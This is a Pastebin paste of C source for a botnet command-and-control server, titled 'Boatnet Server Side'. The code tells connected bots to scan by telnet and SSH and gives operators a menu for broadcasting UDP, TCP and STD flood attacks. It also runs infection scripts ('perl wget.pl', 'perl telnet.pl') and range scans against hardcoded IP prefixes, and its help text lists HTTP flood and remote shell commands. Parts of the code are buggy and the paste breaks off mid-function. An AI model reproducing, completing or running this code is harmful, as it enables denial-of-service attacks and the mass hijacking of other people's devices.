Advertisement
ddoswiki

Boatnet Server Side

Dec 10th, 2017
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 32.53 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <stdint.h>
  4. #include <inttypes.h>
  5. #include <string.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <netdb.h>
  9. #include <unistd.h>
  10. #include <time.h>
  11. #include <fcntl.h>
  12. #include <sys/epoll.h>
  13. #include <errno.h>
  14. #include <pthread.h>
  15. #include <signal.h>
  16. #include <arpa/inet.h>
  17. #define MAXFDS 1000000
  18. //////////////////////////////////
  19. struct login_info {
  20. char username[20];
  21. char password[20];
  22. };
  23. static struct login_info accounts[10];
  24. struct clientdata_t {
  25. uint32_t ip;
  26. char connected;
  27. } clients[MAXFDS];
  28. struct telnetdata_t {
  29. int connected;
  30. } managements[MAXFDS];
  31. struct args {
  32. int sock;
  33. struct sockaddr_in cli_addr;
  34. };
  35. static volatile FILE *telFD;
  36. static volatile FILE *fileFD;
  37. static volatile int epollFD = 0;
  38. static volatile int listenFD = 0;
  39. static volatile int OperatorsConnected = 0;
  40. static volatile int TELFound = 0;
  41. static volatile int scannerreport;
  42. //////////////////////////////////
  43. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  44. int total = 0, got = 1;
  45. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  46. return got;
  47. }
  48. void trim(char *str) {
  49. int i;
  50. int begin = 0;
  51. int end = strlen(str) - 1;
  52. while (isspace(str[begin])) begin++;
  53. while ((end >= begin) && isspace(str[end])) end--;
  54. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  55. str[i - begin] = '\0';
  56. }
  57. static int make_socket_non_blocking (int sfd) {
  58. int flags, s;
  59. flags = fcntl (sfd, F_GETFL, 0);
  60. if (flags == -1) {
  61. perror ("fcntl");
  62. return -1;
  63. }
  64. flags |= O_NONBLOCK;
  65. s = fcntl (sfd, F_SETFL, flags);
  66. if (s == -1) {
  67. perror ("fcntl");
  68. return -1;
  69. }
  70. return 0;
  71. }
  72. static int create_and_bind (char *port) {
  73. struct addrinfo hints;
  74. struct addrinfo *result, *rp;
  75. int s, sfd;
  76. memset (&hints, 0, sizeof (struct addrinfo));
  77. hints.ai_family = AF_UNSPEC;
  78. hints.ai_socktype = SOCK_STREAM;
  79. hints.ai_flags = AI_PASSIVE;
  80. s = getaddrinfo (NULL, port, &hints, &result);
  81. if (s != 0) {
  82. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  83. return -1;
  84. }
  85. for (rp = result; rp != NULL; rp = rp->ai_next) {
  86. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  87. if (sfd == -1) continue;
  88. int yes = 1;
  89. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  90. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  91. if (s == 0) {
  92. break;
  93. }
  94. close (sfd);
  95. }
  96. if (rp == NULL) {
  97. fprintf (stderr, "Could not bind\n");
  98. return -1;
  99. }
  100. freeaddrinfo (result);
  101. return sfd;
  102. }
  103. void broadcast(char *msg, int us, char *sender)
  104. {
  105. int sendMGM = 1;
  106. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  107. char *wot = malloc(strlen(msg) + 10);
  108. memset(wot, 0, strlen(msg) + 10);
  109. strcpy(wot, msg);
  110. trim(wot);
  111. time_t rawtime;
  112. struct tm * timeinfo;
  113. time(&rawtime);
  114. timeinfo = localtime(&rawtime);
  115. char *timestamp = asctime(timeinfo);
  116. trim(timestamp);
  117. int i;
  118. for(i = 0; i < MAXFDS; i++)
  119. {
  120. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  121. if(sendMGM && managements[i].connected)
  122. {
  123. send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  124. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  125. send(i, ": ", 2, MSG_NOSIGNAL);
  126. }
  127. printf("sent to fd: %d\n", i);
  128. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  129. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31m> \x1b[0m", 13, MSG_NOSIGNAL);
  130. else send(i, "\n", 1, MSG_NOSIGNAL);
  131. }
  132. free(wot);
  133. }
  134. void *BotEventLoop(void *useless) {
  135. struct epoll_event event;
  136. struct epoll_event *events;
  137. int s;
  138. events = calloc (MAXFDS, sizeof event);
  139. while (1) {
  140. int n, i;
  141. n = epoll_wait (epollFD, events, MAXFDS, -1);
  142. for (i = 0; i < n; i++) {
  143. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  144. clients[events[i].data.fd].connected = 0;
  145. close(events[i].data.fd);
  146. continue;
  147. }
  148. else if (listenFD == events[i].data.fd) {
  149. while (1) {
  150. struct sockaddr in_addr;
  151. socklen_t in_len;
  152. int infd, ipIndex;
  153.  
  154. in_len = sizeof in_addr;
  155. infd = accept (listenFD, &in_addr, &in_len);
  156. if (infd == -1) {
  157. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  158. else {
  159. perror ("accept");
  160. break;
  161. }
  162. }
  163.  
  164. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  165. int dup = 0;
  166. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  167. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  168. if(clients[ipIndex].ip == clients[infd].ip) {
  169. dup = 1;
  170. break;
  171. }}
  172. if(dup) {
  173. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  174. close(infd);
  175. continue;
  176. }
  177. s = make_socket_non_blocking (infd);
  178. if (s == -1) { close(infd); break; }
  179. event.data.fd = infd;
  180. event.events = EPOLLIN | EPOLLET;
  181. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  182. if (s == -1) {
  183. perror ("epoll_ctl");
  184. close(infd);
  185. break;
  186. }
  187. clients[infd].connected = 1;
  188. send(infd, "!* TELNET_SCAN ON\n", 18, MSG_NOSIGNAL);
  189. send(infd, "!* SSH_SCAN ON\n", 15, MSG_NOSIGNAL);
  190. }
  191. continue;
  192. }
  193. else {
  194. int datafd = events[i].data.fd;
  195. struct clientdata_t *client = &(clients[datafd]);
  196. int done = 0;
  197. client->connected = 1;
  198. while (1) {
  199. ssize_t count;
  200. char buf[2048];
  201. memset(buf, 0, sizeof buf);
  202. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  203. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  204. trim(buf);
  205. if(strcmp(buf, "PING") == 0) {
  206. if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  207. continue;
  208. }
  209. if(strstr(buf, "REPORT ") == buf) {
  210. char *line = strstr(buf, "REPORT ") + 7;
  211. fprintf(telFD, "%s\n", line);
  212. fflush(telFD);
  213. TELFound++;
  214. continue;
  215. }
  216. if(strstr(buf, "PROBING") == buf) {
  217. char *line = strstr(buf, "PROBING");
  218. scannerreport = 1;
  219. continue;
  220. }
  221. if(strstr(buf, "REMOVING PROBE") == buf) {
  222. char *line = strstr(buf, "REMOVING PROBE");
  223. scannerreport = 0;
  224. continue;
  225. }
  226. if(strcmp(buf, "PONG") == 0) {
  227. continue;
  228. }
  229. printf("buf: \"%s\"\n", buf);
  230. }
  231. if (count == -1) {
  232. if (errno != EAGAIN) {
  233. done = 1;
  234. }
  235. break;
  236. }
  237. else if (count == 0) {
  238. done = 1;
  239. break;
  240. }
  241. if (done) {
  242. client->connected = 0;
  243. close(datafd);
  244. }}}}}}
  245. unsigned int BotsConnected() {
  246. int i = 0, total = 0;
  247. for(i = 0; i < MAXFDS; i++) {
  248. if(!clients[i].connected) continue;
  249. total++;
  250. }
  251. return total;
  252. }
  253. void *TitleWriter(void *sock) {
  254. int datafd = (int)sock;
  255. char string[2048];
  256. while(1) {
  257. memset(string, 0, 2048);
  258. sprintf(string, "%c]0;Boats: %d | Telnets: %d | Masters: %d%c", '\033', BotsConnected(), TELFound, OperatorsConnected, '\007');
  259. if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  260. sleep(2);
  261. }}
  262. int Find_Login(char *str) {
  263. FILE *fp;
  264. int line_num = 0;
  265. int find_result = 0, find_line=0;
  266. char temp[512];
  267.  
  268. if((fp = fopen("login.txt", "r")) == NULL){
  269. return(-1);
  270. }
  271. while(fgets(temp, 512, fp) != NULL){
  272. if((strstr(temp, str)) != NULL){
  273. find_result++;
  274. find_line = line_num;
  275. }
  276. line_num++;
  277. }
  278. if(fp)
  279. fclose(fp);
  280. if(find_result == 0)return 0;
  281. return find_line;
  282. }
  283. void *BotWorker(void *sock) {
  284. int datafd = (int)sock;
  285. int find_line;
  286. OperatorsConnected++;
  287. pthread_t title;
  288. char buf[2048];
  289. char* username;
  290. char* password;
  291. memset(buf, 0, sizeof buf);
  292. char botnet[2048];
  293. memset(botnet, 0, 2048);
  294. char botcount [2048];
  295. memset(botcount, 0, 2048);
  296. char statuscount [2048];
  297. memset(statuscount, 0, 2048);
  298.  
  299. FILE *fp;
  300. int i=0;
  301. int c;
  302. fp=fopen("login.txt", "r");
  303. while(!feof(fp)) {
  304. c=fgetc(fp);
  305. ++i;
  306. }
  307. int j=0;
  308. rewind(fp);
  309. while(j!=i-1) {
  310. fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  311. ++j;
  312. }
  313.  
  314. if(send(datafd, "\x1b[30mUsername:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  315. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  316. trim(buf);
  317. char* nickstring;
  318. sprintf(accounts[find_line].username, buf);
  319. nickstring = ("%s", buf);
  320. find_line = Find_Login(nickstring);
  321. if(strcmp(nickstring, accounts[find_line].username) == 0){
  322. if(send(datafd, "\x1b[30mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  323. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  324. trim(buf);
  325. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  326. memset(buf, 0, 2048);
  327. goto Banner;
  328. }
  329. failed:
  330. if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  331. char failed_line1[80];
  332. char ascii_failed_line1 [80];
  333. char ascii_failed_line2 [80];
  334. char ascii_failed_line3 [80];
  335. char ascii_failed_line4 [80];
  336. char ascii_failed_line5 [80];
  337. char ascii_failed_line6 [80];
  338. char ascii_failed_line7 [80];
  339. char ascii_failed_line8 [80];
  340. char ascii_failed_line9 [80];
  341. char ascii_failed_line10 [80];
  342. char ascii_failed_line11 [80];
  343. char ascii_failed_line12 [80];
  344. char ascii_failed_line13 [80];
  345. char ascii_failed_line14 [80];
  346. char ascii_failed_line15 [80];
  347. char ascii_failed_line16 [80];
  348. char ascii_failed_line17 [80];
  349.  
  350. sprintf(failed_line1, "\r\n\x1b[36m|\x1b[37m-\x1b[36m| \x1b[37mFuck OFF| \x1b[36m|\x1b[37m-\x1b[36m|\r\n");
  351.  
  352. if(send(datafd, ascii_failed_line1, strlen(ascii_failed_line1), MSG_NOSIGNAL) == -1) goto end;
  353. if(send(datafd, ascii_failed_line2, strlen(ascii_failed_line2), MSG_NOSIGNAL) == -1) goto end;
  354. if(send(datafd, ascii_failed_line3, strlen(ascii_failed_line3), MSG_NOSIGNAL) == -1) goto end;
  355. if(send(datafd, ascii_failed_line4, strlen(ascii_failed_line4), MSG_NOSIGNAL) == -1) goto end;
  356. if(send(datafd, ascii_failed_line5, strlen(ascii_failed_line5), MSG_NOSIGNAL) == -1) goto end;
  357. if(send(datafd, ascii_failed_line6, strlen(ascii_failed_line6), MSG_NOSIGNAL) == -1) goto end;
  358. if(send(datafd, ascii_failed_line7, strlen(ascii_failed_line7), MSG_NOSIGNAL) == -1) goto end;
  359. if(send(datafd, ascii_failed_line8, strlen(ascii_failed_line8), MSG_NOSIGNAL) == -1) goto end;
  360. if(send(datafd, ascii_failed_line9, strlen(ascii_failed_line9), MSG_NOSIGNAL) == -1) goto end;
  361. if(send(datafd, ascii_failed_line10, strlen(ascii_failed_line10), MSG_NOSIGNAL) == -1) goto end;
  362. if(send(datafd, ascii_failed_line11, strlen(ascii_failed_line11), MSG_NOSIGNAL) == -1) goto end;
  363. if(send(datafd, ascii_failed_line12, strlen(ascii_failed_line12), MSG_NOSIGNAL) == -1) goto end;
  364. if(send(datafd, ascii_failed_line13, strlen(ascii_failed_line13), MSG_NOSIGNAL) == -1) goto end;
  365. if(send(datafd, ascii_failed_line14, strlen(ascii_failed_line14), MSG_NOSIGNAL) == -1) goto end;
  366. if(send(datafd, ascii_failed_line15, strlen(ascii_failed_line15), MSG_NOSIGNAL) == -1) goto end;
  367. if(send(datafd, ascii_failed_line16, strlen(ascii_failed_line16), MSG_NOSIGNAL) == -1) goto end;
  368. if(send(datafd, ascii_failed_line17, strlen(ascii_failed_line17), MSG_NOSIGNAL) == -1) goto end;
  369.  
  370. if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  371. sleep(5);
  372. goto end;
  373.  
  374. Banner:
  375. pthread_create(&title, NULL, &TitleWriter, sock);
  376. char ascii_banner_line1 [5000];
  377. char ascii_banner_line2 [5000];
  378. char ascii_banner_line3 [5000];
  379. char ascii_banner_line4 [5000];
  380. char ascii_banner_line5 [5000];
  381. char ascii_banner_line6 [5000];
  382. char ascii_banner_line7 [5000];
  383. char ascii_banner_line8 [5000];
  384. char ascii_banner_line9 [5000];
  385. char ascii_banner_line10 [5000];
  386.  
  387. char welcome_line [80];
  388. char banner_text_line1 [80];
  389. char banner_text_line2 [80];
  390. char banner_bot_count [2048];
  391. memset(banner_bot_count, 0, 2048);
  392.  
  393. sprintf(ascii_banner_line1, "\x1b[35m _______ __ __ _______ _______ _______ _______ _______ \r\n");
  394. sprintf(ascii_banner_line2, "\x1b[36m _______ _______ _______ _______ __ _ _______ _______ \r\n");
  395. sprintf(ascii_banner_line3, "\x1b[36m | _ || || _ || || | | || || | \r\n");
  396. sprintf(ascii_banner_line4, "\x1b[36m | |_| || _ || |_| ||_ _|| |_| || ___||_ _| \r\n");
  397. sprintf(ascii_banner_line5, "\x1b[36m | || | | || | | | | || |___ | | \r\n");
  398. sprintf(ascii_banner_line6, "\x1b[36m | _ | | |_| || | | | | _ || ___| | | \r\n");
  399. sprintf(ascii_banner_line7, "\x1b[36m | |_| || || _ | | | | | | || |___ | | \r\n");
  400. sprintf(ascii_banner_line8, "\x1b[36m |_______||_______||__| |__| |___| |_| |__||_______| |___| \r\n");
  401. sprintf(ascii_banner_line9, "\x1b[35m _______ __ __ _______ _______ _______ _______ _______ \r\n");
  402. sprintf(ascii_banner_line10, "\x1b[35m \r\n");
  403. sprintf(welcome_line, "\r\n\x1b[36m|+| \x1b[37mBoats: %d \x1b[36m|+| Telnets: %d \x1b[36m|+| \x1b[37mMasters %d \x1b[36m|+|\r\n", BotsConnected(), TELFound, OperatorsConnected);
  404.  
  405. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  406. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  407. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  408. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  409. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  410. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  411. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  412. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  413. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  414. if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  415. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  416. while(1) {
  417. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  418. if(send(datafd, "\x1b[32m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  419. break;
  420. }
  421. pthread_create(&title, NULL, &TitleWriter, sock);
  422. managements[datafd].connected = 1;
  423.  
  424. while(fdgets(buf, sizeof buf, datafd) > 0)
  425. {
  426.  
  427. if(strstr(buf, "ATTACK"))
  428. {
  429. int choice;
  430.  
  431. char ATTACK_MENU [2048];
  432.  
  433. char UDP_ATTACK [2048];
  434. char UDP_ATTACK_MESSAGE [2048];
  435. char UDP_ATTACK_IP;
  436. char UDP_ATTACK_PORT;
  437. char UDP_ATTACK_SEC;
  438. char UDP_ATTACK_SEND_COMMAND;
  439.  
  440. char TCP_ATTACK [2048];
  441. char TCP_ATTACK_MESSAGE [2048];
  442. char TCP_ATTACK_IP;
  443. char TCP_ATTACK_PORT;
  444. char TCP_ATTACK_SEC;
  445. char TCP_ATTACK_SEND_COMMAND;
  446.  
  447. char STD_ATTACK [2048];
  448. char STD_ATTACK_MESSAGE [2048];
  449. char STD_ATTACK_IP;
  450. char STD_ATTACK_PORT;
  451. char STD_ATTACK_SEC;
  452. char STD_ATTACK_SEND_COMMAND;
  453.  
  454. sprintf(ATTACK_MENU, "[+] ATTACK OPTIONS [+]");
  455. if(send(datafd, ATTACK_MENU, strlen(ATTACK_MENU), MSG_NOSIGNAL) == -1) goto end;
  456. do
  457. {
  458. sprintf(UDP_ATTACK, "[-] 1. UDP ATTACK\r\n");
  459. sprintf(TCP_ATTACK, "[-] 2. TCP ATTACK\r\n");
  460. sprintf(STD_ATTACK, "[-] 3. STD Attack\r\n");
  461.  
  462. if(send(datafd, UDP_ATTACK, strlen(UDP_ATTACK), MSG_NOSIGNAL) == -1) goto end;
  463. if(send(datafd, TCP_ATTACK, strlen(TCP_ATTACK), MSG_NOSIGNAL) == -1) goto end;
  464. if(send(datafd, STD_ATTACK, strlen(STD_ATTACK), MSG_NOSIGNAL) == -1) goto end;
  465. scanf("%d", &choice);
  466.  
  467. switch(choice)
  468. {
  469. case 1:
  470.  
  471. sprintf(UDP_ATTACK_IP, "IP: ");
  472. if(send(datafd, UDP_ATTACK_IP, strlen(UDP_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  473. scanf("%d", &UDP_ATTACK_IP);
  474.  
  475. sprintf(UDP_ATTACK_PORT, "Port: ");
  476. if(send(datafd, UDP_ATTACK_IP, strlen(UDP_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  477. scanf("%d", &UDP_ATTACK_PORT);
  478.  
  479. sprintf("Sec: ", &UDP_ATTACK_SEC);
  480. if(send(datafd, UDP_ATTACK_SEC, strlen(UDP_ATTACK_SEC), MSG_NOSIGNAL) == -1) goto end;
  481. scanf("%d", &UDP_ATTACK_SEC);
  482.  
  483. sprintf(UDP_ATTACK_SEND_COMMAND, "!* UDP %d %d %d 32 0 10", UDP_ATTACK_IP, UDP_ATTACK_PORT, UDP_ATTACK_SEC);
  484. broadcast(UDP_ATTACK_SEND_COMMAND, datafd, "SENT");
  485. if(send(datafd, UDP_ATTACK_SEND_COMMAND, strlen(UDP_ATTACK_SEND_COMMAND), MSG_NOSIGNAL) == -1) goto end;
  486.  
  487. sprintf(UDP_ATTACK_MESSAGE, "UDP Attack Sent!");
  488. if(send(datafd, UDP_ATTACK_MESSAGE, strlen(UDP_ATTACK_MESSAGE), MSG_NOSIGNAL) == -1) goto end;
  489.  
  490. continue;
  491. case 2:
  492.  
  493. sprintf(TCP_ATTACK_IP, "IP: ");
  494. if(send(datafd, TCP_ATTACK_IP, strlen(TCP_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  495. scanf("%d", &TCP_ATTACK_IP);
  496.  
  497. sprintf(TCP_ATTACK_PORT, "Port: ");
  498. if(send(datafd, TCP_ATTACK_PORT, strlen(TCP_ATTACK_PORT), MSG_NOSIGNAL) == -1) goto end;
  499. scanf("%d", &TCP_ATTACK_PORT);
  500.  
  501. sprintf(TCP_ATTACK_SEC, "Sec: ");
  502. if(send(datafd, TCP_ATTACK_SEC, strlen(TCP_ATTACK_SEC), MSG_NOSIGNAL) == -1) goto end;
  503. scanf("%d", &TCP_ATTACK_SEC);
  504.  
  505. sprintf(TCP_ATTACK_SEND_COMMAND, "!* TCP %d %d %d 32 all 0 10", TCP_ATTACK_IP, TCP_ATTACK_PORT, TCP_ATTACK_SEC);
  506. broadcast(TCP_ATTACK_SEND_COMMAND, datafd, "SENT");
  507. if(send(datafd, TCP_ATTACK_SEND_COMMAND, strlen(TCP_ATTACK_SEND_COMMAND), MSG_NOSIGNAL) == -1) goto end;
  508.  
  509. sprintf(TCP_ATTACK_MESSAGE, "TCP Attack Sent!");
  510. if(send(datafd, TCP_ATTACK_MESSAGE, strlen(TCP_ATTACK_MESSAGE), MSG_NOSIGNAL) == -1) goto end;
  511.  
  512. continue;
  513.  
  514. case 3:
  515.  
  516. sprintf(STD_ATTACK_IP, "IP: ");
  517. if(send(datafd, STD_ATTACK_IP, strlen(STD_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  518. scanf("%d", &STD_ATTACK_IP);
  519.  
  520. sprintf(STD_ATTACK_PORT, "Port: ");
  521. if(send(datafd, STD_ATTACK_PORT, strlen(TCP_ATTACK_PORT), MSG_NOSIGNAL) == -1) goto end;
  522. scanf("%d", &STD_ATTACK_PORT);
  523.  
  524. sprintf(STD_ATTACK_SEND_COMMAND, "!* STD %d %d %d", STD_ATTACK_IP, STD_ATTACK_PORT, STD_ATTACK_SEC);
  525. broadcast(STD_ATTACK_SEND_COMMAND, datafd, "SENT");
  526. if(send(datafd, STD_ATTACK_SEND_COMMAND, strlen(STD_ATTACK_SEND_COMMAND), MSG_NOSIGNAL) == -1) goto end;
  527.  
  528. sprintf(STD_ATTACK_MESSAGE, "STD Attack Sent!");
  529. if(send(datafd, STD_ATTACK_MESSAGE, strlen(STD_ATTACK_MESSAGE), MSG_NOSIGNAL) == -1) goto end;
  530.  
  531. continue;
  532.  
  533.  
  534. }}
  535. while(choice !=3);
  536. }
  537. if(strstr(buf, "BOTS"))
  538. {
  539. sprintf(botcount, "Boats: %d | Admin(s): %d | Telnets: %d |\r\n", BotsConnected(), OperatorsConnected, TELFound);
  540. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  541. continue;
  542. }
  543. if(strstr(buf, "STATS"))
  544. {
  545. sprintf(botcount, "Boats: %d | Admin(s): %d | Telnets: %d | Telnet Status: %d\r\n", BotsConnected(), OperatorsConnected, TELFound, scannerreport);
  546. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  547. continue;
  548. }
  549. if(strstr(buf, "INFECT"))
  550. {
  551. system("perl telnet.pl filtered.txt");
  552. continue;
  553. }
  554. if(strstr(buf, "REINFECT"))
  555. {
  556. system("perl wget.pl filtered_ssh.txt");
  557. continue;
  558. }
  559. if(strstr(buf, "FILTER"))
  560. {
  561. system("sort telnet.txt | uniq -u>>filtered_telnet.txt;sort infected.txt | uniq -u>>filtered_ssh.txt");
  562. continue;
  563. }
  564. if(strstr(buf, "RANGE1"))
  565. {
  566. system("python scan.py 376 B 119.92 1");
  567. continue;
  568. }
  569. if(strstr(buf, "RANGE2"))
  570. {
  571. system("python scan.py 376 B 119.93 1");
  572. continue;
  573. }
  574. if(strstr(buf, "RANGE3")) {
  575. system("python scan.py 376 B 125.25 1");
  576. continue;
  577. }
  578. if(strstr(buf, "RANGE4"))
  579. {
  580. system("python scan.py 376 B 189.39 1");
  581. continue;
  582. }
  583. if(strstr(buf, "RANGE5")) {
  584. system("python scan.py 376 B 125.27 1");
  585. continue;
  586. }
  587. if(strstr(buf, "RANGE6")) {
  588. system("python scan.py 376 B 113.53 1");
  589. continue;
  590. }
  591. if(strstr(buf, "RANGE7"))
  592. {
  593. system("python scan.py 376 B 110.227 1");
  594. continue;
  595. }
  596. if(strstr(buf, "RANGE8"))
  597. {
  598. system("python scan.py 376 B 185.52 1");
  599. continue;
  600. }
  601. if(strstr(buf, "RANGE9"))
  602. {
  603. system("python scan.py 376 B 122.1 1");
  604. continue;
  605. }
  606. if(strstr(buf, "RANGE10"))
  607. {
  608. system("python scan.py 376 B 112.3 1");
  609. continue;
  610. }
  611. if(strstr(buf, "RANGE11"))
  612. {
  613. system("python scan.py 376 B 101.102");
  614. continue;
  615. }
  616. if(strstr(buf, "VULN"))
  617. {
  618. system("perl wget.pl vuln.txt");
  619. continue;
  620. }
  621. if(strstr(buf, "VULN2"))
  622. {
  623. system("perl wget.pl vuln2.txt");
  624. continue;
  625. }
  626. if(strstr(buf, "VULN3"))
  627. {
  628. system("perl wget.pl vuln3.txt");
  629. continue;
  630. }
  631. if(strstr(buf, "VULN4"))
  632. {
  633. system("perl wget.pl vuln4.txt");
  634. continue;
  635. }
  636. if(strstr(buf, "VULN5"))
  637. {
  638. system("perl wget.pl vuln5.txt");
  639. continue;
  640. }
  641. if(strstr(buf, "TELNET1"))
  642. {
  643. system("perl telnet.pl vuln1.txt");
  644. continue;
  645. }
  646. if(strstr(buf, "TELNET2"))
  647. {
  648. system("perl telnet.pl vuln2.txt");
  649. continue;
  650. }
  651. if(strstr(buf, "TELNET3"))
  652. {
  653. system("perl telnet.pl vuln3.txt");
  654. continue;
  655. }
  656. if(strstr(buf, "STOP"))
  657. {
  658. system("killall -9 python");
  659. continue;
  660. }
  661. if(strstr(buf, "HELP"))
  662. {
  663. pthread_create(&title, NULL, &TitleWriter, sock);
  664. char helpline1 [80];
  665. char helpline2 [80];
  666. char helpline3 [80];
  667. char helpline4 [80];
  668. char helpline5 [80];
  669. char helpline6 [80];
  670. char helpline7 [80];
  671. char helpline8 [80];
  672. char helpline9 [80];
  673. char helpline10 [80];
  674. char helpline11 [80];
  675. char helpline12 [80];
  676. char helpline13 [80];
  677. char helpline14 [80];
  678. char helpline15 [80];
  679. char helpline16 [80];
  680. char helpline17 [80];
  681. char helpline18 [80];
  682. char helpline19 [80];
  683. char helpline20 [80];
  684. char helpline21 [80];
  685. char helpline22 [80];
  686. char helpline23 [80];
  687. char helpline24 [80];
  688. char helpline25 [80];
  689.  
  690.  
  691.  
  692. sprintf(helpline1, "\x1b[36m[\x1b[34m+\x1b[36m]\x1b[35m---------------------------------[\x1b[34m+\x1b[36m]\r\n");
  693.  
  694. sprintf(helpline2, "\x1b[37mUDP \x1b[36m- \x1b[37m!* UDP <target> <port> <sec> 32 0 10\r\n");
  695. sprintf(helpline3, "\x1b[37mTCP \x1b[36m- \x1b[37m!* TCP <target> <port> <sec> 32 all 0 10\r\n");
  696. sprintf(helpline4, "\x1b[37mSTD \x1b[36m- \x1b[37m!* STD <target> <port> <sec>\r\n");
  697. sprintf(helpline5, "\x1b[37mJUNK \x1b[36m- \x1b[37m!* JUNK <target> <port> <sec>\r\n");
  698. sprintf(helpline6, "\x1b[37mHOLD \x1b[36m- \x1b[37m!* HOLD <target> <port> <sec>\r\n");
  699. sprintf(helpline7, "\x1b[37mHTTP \x1b[36m- \x1b[37m!* HTTP <url> <sec>\r\n");
  700. sprintf(helpline8, "\x1b[37mKILL \x1b[36m- \x1b[37m!* KILLATTK\r\n");
  701.  
  702. sprintf(helpline9, "\x1b[36m[\x1b[37m+\x1b[36m]\x1b[35m---------------------------------\x1b[36m[\x1b[37m+\x1b[36m] \r\n");
  703.  
  704. sprintf(helpline10, "\x1b[37mVULN \x1b[36m- \x1b[37mVULN 1-5\r\n");
  705. sprintf(helpline11, "\x1b[37mTELNET \x1b[36m- \x1b[37mTELNET 1-3\r\n");
  706. sprintf(helpline12, "\x1b[37mRanges \x1b[36m- \x1b[37mRANGE 1-5\r\n");
  707. sprintf(helpline13, "\x1b[37mRanges \x1b[36m- \x1b[37mRANGE 6-10\r\n");
  708. sprintf(helpline14, "\x1b[37mSTOP \x1b[36m- \x1b[37mStops Scanning\r\n");
  709.  
  710. sprintf(helpline15, "\x1b[36m[\x1b[37m+\x1b[36m]\x1b[35m---------------------------------\x1b[36m[\x1b[37m+\x1b[36m] \r\n");
  711.  
  712. sprintf(helpline16, "\x1b[37mSHELL \x1b[36m- \x1b[37m!* SH <args>\r\n");
  713. sprintf(helpline17, "\x1b[37mBOTS \x1b[36m- \x1b[37mList SSH Servers\r\n");
  714. sprintf(helpline18, "\x1b[37mSTATS \x1b[36m- \x1b[37mList SSH/Telnet/Admins\r\n");
  715.  
  716. sprintf(helpline19, "\x1b[36m[\x1b[37m+\x1b[36m]\x1b[35m---------------------------------\x1b[36m[\x1b[37m+\x1b[36m]\r\n");
  717.  
  718. sprintf(helpline20, "\x1b[37mFILTER \x1b[36m- \x1b[37mFilters Bots\r\n");
  719. sprintf(helpline21, "\x1b[37mINFECT \x1b[36m- \x1b[37mInfect filtered.txt\r\n");
  720. sprintf(helpline23, "\x1b[37mREINFECT \x1b[36m- \x1b[37mInfects filtered_ssh.txt\r\n");
  721. sprintf(helpline24, "\x1b[37mCLEAR \x1b[36m- \x1b[37mClears Screen\r\n");
